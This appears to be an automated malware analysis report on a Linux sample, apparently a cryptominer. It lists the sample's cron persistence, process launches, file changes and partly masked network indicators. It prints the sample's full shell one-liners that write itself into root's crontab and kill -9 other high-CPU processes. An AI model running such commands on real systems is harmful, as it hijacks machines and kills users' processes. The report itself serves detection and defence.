Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /var/spool/cron/crontabs/root
Malicious functions:
Launches itself as a daemon
Launches processes:
- sh -c ps -eo %cp
- head -n 2
- ps -eo %cp
- awk {print $1 \" \" $2 \" \" $3}
- grep -v -bash
- awk -v cpus=$[threads*45] {if($1>=cpus) print $2}
- sh -c ps -A -osta
- ps -A -osta
- awk /[zZ]/ && !a[$2]++ {print $2}
- sh -c if [ `id -u 2>/dev/null` -eq '0' ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if($3>30.0) print $2}' 2>/dev/null | while read procid; do kill -9 $procid 2>/dev/null; done else ps -u `whoami 2>/dev/null` ux | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if($3>30.0) print $2}' 2>/dev/null | while read procid; do kill -9 $procid 2>/dev/null; done fi
- id -u
- ps aux
- grep -v grep
- grep -v -- -bash[[:space:]]*$
- grep -v /usr/sbin/httpd
- awk {if($3>30.0) print $2}
- sh -c dir=`pwd 2>/dev/null`;rm -rf $dir/.cron 2>/dev/null;crontab -l 2>/dev/null | grep -v grep 2>/dev/null | grep -v '<SAMPLE_FULL_PATH>' 2>/dev/null > .cron 2>/dev/null;echo '* * * * * '$dir/'<SAMPLE_FULL_PATH>' >> .cron 2>/dev/null; if [ $(crontab -l 2>/dev/null | grep -v grep 2>/dev/null | grep '<SAMPLE_FULL_PATH>$' 2>/dev/null | sort 2>/dev/null | uniq 2>/dev/null | wc -l 2>/dev/null) -eq '0' ]; then crontab $dir/.cron 2>/dev/null; fi;rm -rf $dir/.cron 2>/dev/null
- rm -rf /root/.cron
- crontab -l
- grep -v <SAMPLE_FULL_PATH>
- grep <SAMPLE_FULL_PATH>$
- sort
- uniq
- wc -l
- crontab /root/.cron
- sh -c if [ `id -u 2>/dev/null` -eq '0' ]; then if [ `ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*$' 2>/dev/null | awk '{if($3>30.0) print $2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*$' 2>/dev/null | awk '{if($3>30.0) print $2}' 2>/dev/null | while read procid; do kill -9 $procid 2>/dev/null; done fi else myid=`whoami 2>/dev/null`; if [ `ps -u $myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*$' 2>/dev/null | awk '{if($3>30.0) print $2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps -u $myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*$' 2>/dev/null | awk '{if($3>30.0) print $2}' 2>/dev/null | while read procid; do kill -9 $procid 2>/dev/null; done fi fi
- grep -- -bash[[:space:]]*$
Performs operations with the file system:
Modifies file access rights:
- /var/spool/cron/crontabs/tmp.DyYRa5
Creates or modifies files:
- /root/.cron
- /var/spool/cron/.cron
- /var/spool/cron/crontabs/tmp.DyYRa5
- /tmp/.lock
- /sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages
Deletes files:
- /root/.cron
Locks files:
- /tmp/.lock
Network activity:
Establishes connection:
- 45.###.186.254:80
DNS ASK:
- mi##.winscp.top
Sends data to the following servers:
- 45.###.186.254:80
Receives data from the following servers:
- 45.###.186.254:80
Other:
Collects CPU information
Collects RAM information
Collects information about network activity
